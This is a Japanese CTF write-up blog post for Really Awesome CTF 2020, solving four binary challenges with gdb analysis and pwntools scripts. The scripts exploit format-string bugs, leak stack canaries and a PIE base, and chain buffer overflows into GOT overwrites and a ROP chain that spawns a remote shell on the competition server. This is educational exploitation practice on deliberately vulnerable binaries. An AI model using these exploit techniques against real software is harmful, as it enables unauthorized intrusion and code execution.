kanyewest CTF

勉強したことをメモしています。

Really Awesome CTF 2020【Write-up】

Reversing / Pwn

Not Really AI

$ file nra 
nra: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=de726633c6d3ec5839065e67784dcfdb3497b074, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./nra
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFYFortified        Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   75 Symbols     No      02       ./nra

とりあえず、Format String Bugsがあることがわかります。

$ ./nra 
How are you finding RACTF?
AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x 
I am glad you
AAAA200,f7f52580,80491d1,41414141,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,f7000a78,f7d7090c,8048315,f7d7588c,6eb0688f,ff81c010

We hope you keep going!

gdbデバッグしてみると

gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  printf@plt
0x08049040  fgets@plt
0x08049050  getegid@plt
0x08049060  puts@plt
0x08049070  system@plt
0x08049080  __libc_start_main@plt
0x08049090  setvbuf@plt
0x080490a0  setresgid@plt
0x080490b0  _start
0x080490f0  _dl_relocate_static_pie
0x08049100  __x86.get_pc_thunk.bx
0x08049110  deregister_tm_clones
0x08049150  register_tm_clones
0x08049190  __do_global_dtors_aux
0x080491c0  frame_dummy
0x080491c2  response
0x08049245  flaggy
0x08049270  main
0x080492eb  __x86.get_pc_thunk.ax
0x080492f0  __libc_csu_init
0x08049350  __libc_csu_fini
0x08049351  __x86.get_pc_thunk.bp
0x08049358  _fini

flaggyといういかにも怪しい関数があるのでディスアセンブルしてみます。

gdb-peda$ pdisas flaggy
Dump of assembler code for function flaggy:
   0x08049245 <+0>:     push   ebp
   0x08049246 <+1>:     mov    ebp,esp
   0x08049248 <+3>:     push   ebx
   0x08049249 <+4>:     sub    esp,0x4
   0x0804924c <+7>:     call   0x80492eb <__x86.get_pc_thunk.ax>                                                
   0x08049251 <+12>:    add    eax,0x2daf
   0x08049256 <+17>:    sub    esp,0xc
   0x08049259 <+20>:    lea    edx,[eax-0x1fb6]
   0x0804925f <+26>:    push   edx
   0x08049260 <+27>:    mov    ebx,eax
   0x08049262 <+29>:    call   0x8049070 <system@plt>
   0x08049267 <+34>:    add    esp,0x10
   0x0804926a <+37>:    nop
   0x0804926b <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804926e <+41>:    leave  
   0x0804926f <+42>:    ret    
End of assembler dump.

一旦なにかの関数をこれに書き換えて呼び出してみることにします。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x08049270 <+0>:     lea    ecx,[esp+0x4]
   0x08049274 <+4>:     and    esp,0xfffffff0
   0x08049277 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804927a <+10>:    push   ebp
   0x0804927b <+11>:    mov    ebp,esp
   0x0804927d <+13>:    push   ebx
   0x0804927e <+14>:    push   ecx
   0x0804927f <+15>:    sub    esp,0x10
   0x08049282 <+18>:    call   0x8049100 <__x86.get_pc_thunk.bx>                                                
   0x08049287 <+23>:    add    ebx,0x2d79
   0x0804928d <+29>:    mov    eax,DWORD PTR [ebx-0x8]
   0x08049293 <+35>:    mov    eax,DWORD PTR [eax]
   0x08049295 <+37>:    push   0x0
   0x08049297 <+39>:    push   0x2
   0x08049299 <+41>:    push   0x0
   0x0804929b <+43>:    push   eax
   0x0804929c <+44>:    call   0x8049090 <setvbuf@plt>
   0x080492a1 <+49>:    add    esp,0x10
   0x080492a4 <+52>:    mov    eax,DWORD PTR [ebx-0x4]
   0x080492aa <+58>:    mov    eax,DWORD PTR [eax]
   0x080492ac <+60>:    push   0x0
   0x080492ae <+62>:    push   0x2
   0x080492b0 <+64>:    push   0x0
   0x080492b2 <+66>:    push   eax
   0x080492b3 <+67>:    call   0x8049090 <setvbuf@plt>
   0x080492b8 <+72>:    add    esp,0x10
   0x080492bb <+75>:    call   0x8049050 <getegid@plt>
   0x080492c0 <+80>:    mov    DWORD PTR [ebp-0xc],eax
   0x080492c3 <+83>:    sub    esp,0x4
   0x080492c6 <+86>:    push   DWORD PTR [ebp-0xc]
   0x080492c9 <+89>:    push   DWORD PTR [ebp-0xc]
   0x080492cc <+92>:    push   DWORD PTR [ebp-0xc]
   0x080492cf <+95>:    call   0x80490a0 <setresgid@plt>
   0x080492d4 <+100>:   add    esp,0x10
   0x080492d7 <+103>:   call   0x80491c2 <response>
   0x080492dc <+108>:   mov    eax,0x0
   0x080492e1 <+113>:   lea    esp,[ebp-0x8]
   0x080492e4 <+116>:   pop    ecx
   0x080492e5 <+117>:   pop    ebx
   0x080492e6 <+118>:   pop    ebp
   0x080492e7 <+119>:   lea    esp,[ecx-0x4]
   0x080492ea <+122>:   ret    
End of assembler dump.
gdb-peda$ pdisas response
Dump of assembler code for function response:
   0x080491c2 <+0>:     push   ebp
   0x080491c3 <+1>:     mov    ebp,esp
   0x080491c5 <+3>:     push   ebx
   0x080491c6 <+4>:     sub    esp,0x204
   0x080491cc <+10>:    call   0x8049100 <__x86.get_pc_thunk.bx>                                                
   0x080491d1 <+15>:    add    ebx,0x2e2f
   0x080491d7 <+21>:    sub    esp,0xc
   0x080491da <+24>:    lea    eax,[ebx-0x1ff8]
   0x080491e0 <+30>:    push   eax
   0x080491e1 <+31>:    call   0x8049060 <puts@plt>
   0x080491e6 <+36>:    add    esp,0x10
   0x080491e9 <+39>:    mov    eax,DWORD PTR [ebx-0x8]
   0x080491ef <+45>:    mov    eax,DWORD PTR [eax]
   0x080491f1 <+47>:    sub    esp,0x4
   0x080491f4 <+50>:    push   eax
   0x080491f5 <+51>:    push   0x200
   0x080491fa <+56>:    lea    eax,[ebp-0x208]
   0x08049200 <+62>:    push   eax
   0x08049201 <+63>:    call   0x8049040 <fgets@plt>
   0x08049206 <+68>:    add    esp,0x10
   0x08049209 <+71>:    sub    esp,0xc
   0x0804920c <+74>:    lea    eax,[ebx-0x1fdd]
   0x08049212 <+80>:    push   eax
   0x08049213 <+81>:    call   0x8049060 <puts@plt>
   0x08049218 <+86>:    add    esp,0x10
   0x0804921b <+89>:    sub    esp,0xc
   0x0804921e <+92>:    lea    eax,[ebp-0x208]
   0x08049224 <+98>:    push   eax
   0x08049225 <+99>:    call   0x8049030 <printf@plt>
   0x0804922a <+104>:   add    esp,0x10
   0x0804922d <+107>:   sub    esp,0xc
   0x08049230 <+110>:   lea    eax,[ebx-0x1fcf]
   0x08049236 <+116>:   push   eax
   0x08049237 <+117>:   call   0x8049060 <puts@plt>
   0x0804923c <+122>:   add    esp,0x10
   0x0804923f <+125>:   nop
   0x08049240 <+126>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08049243 <+129>:   leave  
   0x08049244 <+130>:   ret

main関数の中でresponse関数が呼ばれ、最後にputs関数があるのでputs関数のGOTをflaggy関数に書き換えてみます。

from pwn import *

e = ELF('./nra')
# = process('./nra')
p = remote('95.216.233.106',35403)

payload = fmtstr_payload(4,{e.got['puts']: e.symbols['flaggy']})

p.sendline(payload)
p.interactive()
$ python solve.py 
[*]
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Opening connection to 95.216.233.106 on port 35403: Done
[*] Switching to interactive mode
How are you finding RACTF?
I am glad you
       \x00                                                           �                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            �aaa\x1b\x18\x04\x19\x04
ractf{f0rmat_Str1nG_fuN}

Solved_in_a_flash

$ file flash.bin 
flash.bin: data

Ubuntuの環境では実行できませんでした。

$ ./flash.bin 
bash: ./flash.bin: バイナリファイルを実行できません: 実行形式エラー

よくわからなかったので、stringsでバイナリファイルの可読できる部分を出力させてみます。

$ strings flash.bin 
        h>s@
L/m/
M/l/
T/D'
@/a/
@/a/
L/m/
L/m/
L/m/
ractf{Fl4shDump5Ar3VeryFun!!}
AVR ISP
,o/}-
#+$+%+I
D'U'
]       n
-d/
g/x/
'f'w'
/v/j/
?OOO_O
0, 0
0xfff, 0xfff
(/)Z
(/ ]
!P0@
!P0@
/_?O
O__OF
/_?O0
O__OF

Flagがありました。

Finches_in_a_Stack

$ file fias 
fias: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e8e9871f93c103af02b7d5f25c86962ec1c322b9, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./fias
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFYFortified        Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   78 Symbols     Yes     02       ./fias
$ ./fias 
No! You bad canary! Get back in your cage!

I don't want you attacking anyone!

Hi! What's your name? %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,v
Nice to meet you, f7fcfe24,3e8,8049246,f7f93000,f7f93000,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,21762c78,f7fc000a,804c000,1,80490c0,0,80490f2,80492fb,1,ffb52dc4,v!
Do YOU want to pet my canary?

*** stack smashing detected ***: <unknown> terminated
中止 (コアダンプ)

問題からして、Format String Bugsを用いてスタックからCanaryを読み出してBOFでsystem関数を呼び出したいです。

まず、Canaryをリークします。適当にブレークポイントを設置してCanaryがある場所を特定します。

gdb-peda$ telescope 20
0000| 0xffffcfd0 --> 0xffffcfe3 --> 0xfac000f7 
0004| 0xffffcfd4 --> 0xf7fe8e24 (pop    edx)
0008| 0xffffcfd8 --> 0x3e8 
0012| 0xffffcfdc --> 0x8049246 (<say_hi+13>:    add    ebx,0x2dba)
0016| 0xffffcfe0 --> 0xf7fac000 --> 0x1e8d6c 
0020| 0xffffcfe4 --> 0xf7fac000 --> 0x1e8d6c 
0024| 0xffffcfe8 ("AAAA!\n")
0028| 0xffffcfec --> 0x8000a21 
0032| 0xffffcff0 --> 0x804a048 ("I don't want you attacking anyone!\n")
0036| 0xffffcff4 --> 0xf7ffd940 --> 0x0 
0040| 0xffffcff8 --> 0x804c000 --> 0x804bf0c --> 0x1 
<span style="color: #ff0000">0044| 0xffffcffc --> 0x2bbb9300</span> 
0048| 0xffffd000 --> 0x804c000 --> 0x804bf0c --> 0x1 
0052| 0xffffd004 --> 0xf7fac000 --> 0x1e8d6c 
0056| 0xffffd008 --> 0xffffd028 --> 0x0 
0060| 0xffffd00c --> 0x804936c (<main+113>:     mov    eax,0x0)
0064| 0xffffd010 --> 0x1 
0068| 0xffffd014 --> 0xffffd0d4 --> 0xffffd2a3 ("/home/kanye/RACTF/Finches_in_a_Stack/fias")
0072| 0xffffd018 --> 0xffffd0dc --> 0xffffd2cd ("SHELL=/bin/bash")
0076| 0xffffd01c --> 0x3e8 

canaryは下位1バイトは0なので、赤くなっているメモリアドレスにCanaryがあると考えられます。system関数はすでに用意されているのでlibcのリークをする必要はありません。あとはcanaryを使って適切にBOFさせるだけです。

from pwn import *

e = ELF('./fias')
#p = process('./fias')
p = remote('95.216.233.106',29083)

payload = '%11$x'

print p.recvuntil('name? ')
p.sendline(payload)

print p.recvuntil('you, ')
canary = int(p.recvline().rstrip('!\n'),16)
print "canary: " + hex(canary)

print p.recvuntil('canary?\n')
payload = 'A'*25
payload += p32(canary)
payload += 'AAAA'*3
payload += p32(e.symbols['main'])
p.sendline(payload)

print p.recvuntil('name? ')
payload = fmtstr_payload(6,{e.got['printf']:e.symbols['system']})
p.sendline(payload)

pop_ret_addr = 0x804901e

print p.recvuntil('canary?\n')
payload = 'A'*25
payload += p32(canary)
payload += 'AAAA'*3
payload += p32(e.symbols['gets'])
payload += p32(pop_ret_addr)
payload += p32(e.bss()+0x100)
payload += p32(e.symbols['printf'])
payload += p32(pop_ret_addr)
payload += p32(e.bss()+0x100)

p.sendline(payload)
p.sendline('/bin/sh')

p.interactive()
$  python solve.py 
[*] 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 95.216.233.106 on port 29083: Done
payload: %11$x
No! You bad canary! Get back in your cage!

I don't want you attacking anyone!

Hi! What's your name? 
Nice to meet you, 
canary: 0x28286a00
Do YOU want to pet my canary?

No! You bad canary! Get back in your cage!

I don't want you attacking anyone!

Hi! What's your name? 
Nice to meet you,        \xb8                                                                                                                       K                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Faa\x0f\x04\x0c\x04!
Do YOU want to pet my canary?

[*] Switching to interactive mode
$ id
uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)
$ ls
Dockerfile
canary
challenge.json
flag.txt
libssl1.1_1.1.0g-2ubuntu4_i386.deb
libwrap0_7.6.q-27_i386.deb
socat_1.7.3.2-2ubuntu2_i386.deb
socat_1.7.3.3-2_i386.deb
$ cat flag.txt
ractf{St4ck_C4n4ry_FuN!}

Finches in a Pie

$ file fiap 
fiap: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=07c3106195f072f2c3eff4ee1d4a581503c6284e, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./fiap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   82 Symbols     Yes      02./fiap

簡単に実行してみた感じ、FSBがあることはわかります。

$ ./fiap 
Oh my!

You NAUGHTY CANARY

You ATE MY PIE!

CATCH HIM!

You got him! Thank you!
What's your name?
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
Thank you, f7fdae24,3e8,5660828f,f7f9e000,f7f9e000,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,212c7825,!
Would you like some cake?

*** stack smashing detected ***: <unknown> terminated
中止 (コアダンプ)
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  printf@plt
0x00001040  gets@plt
0x00001050  __stack_chk_fail@plt
0x00001060  getegid@plt
0x00001070  puts@plt
0x00001080  system@plt
0x00001090  __libc_start_main@plt
0x000010a0  setvbuf@plt
0x000010b0  setresgid@plt
0x000010c0  __cxa_finalize@plt
0x000010d0  _start
0x00001110  __x86.get_pc_thunk.bx
0x00001120  deregister_tm_clones
0x00001160  register_tm_clones
0x000011b0  __do_global_dtors_aux
0x00001200  frame_dummy
0x00001205  __x86.get_pc_thunk.dx
0x00001209  flag
0x00001234  my_pie
0x00001282  say_hi
0x00001368  main
0x000013e8  __x86.get_pc_thunk.ax
0x000013f0  __libc_csu_init
0x00001450  __libc_csu_fini
0x00001451  __x86.get_pc_thunk.bp
0x00001460  __stack_chk_fail_local
0x00001474  _fini

gdbデバッグしてみると、flag関数が用意されているのでPIEを無効にできるようにoffsetをリークしてmain関数をループさせた上でBOFさせてflag関数を呼び出せばよさそうです。

from pwn import *

e = ELF('./fiap')
p = remote('95.216.233.106',62356)

print p.recvuntil('name?')
payload = '%11$x libc %15$x'
p.sendline(payload)
print p.recvuntil('you, ')
ret = p.recvline().split(' ')
canary = int(ret[0],16)
leak = int(ret[2].rstrip('!\n'),16)
print "canary: " + hex(canary)
print "leak: " + hex(leak)

proc_base_addr = leak - e.symbols['main'] - 113

print p.recvuntil('cake?')
payload = 'A'*25
payload += p32(canary)
payload += 'AAAA'*3
payload += p32(e.symbols['flag']+ proc_base_addr)

p.sendline(payload)
p.interactive()
$ echo 'AAAA%6$x' | ./fiap 
Oh my!

You NAUGHTY CANARY

You ATE MY PIE!

CATCH HIM!

You got him! Thank you!
What's your name?
Thank you, AAAA41414141!
Would you like some cake?

%10$xが、canary %23$xが、__libc_start_main + 249

$ python solve.py 
[*] '/home/kanye/RACTF/Finches_in_a_Pie/fiap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 95.216.233.106 on port 62356: Done
[*] '/home/kanye/RACTF/Finches_in_a_Pie/libc6_2.30-0ubuntu3_i386.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Oh my!

You NAUGHTY CANARY

You ATE MY PIE!

CATCH HIM!

You got him! Thank you!
What's your name?

Thank you, 
canary: 0x1c3d7f00
leak: 0x565ba3d9
Would you like some cake?
[*] Switching to interactive mode

ractf{B4k1ng_4_p1E!}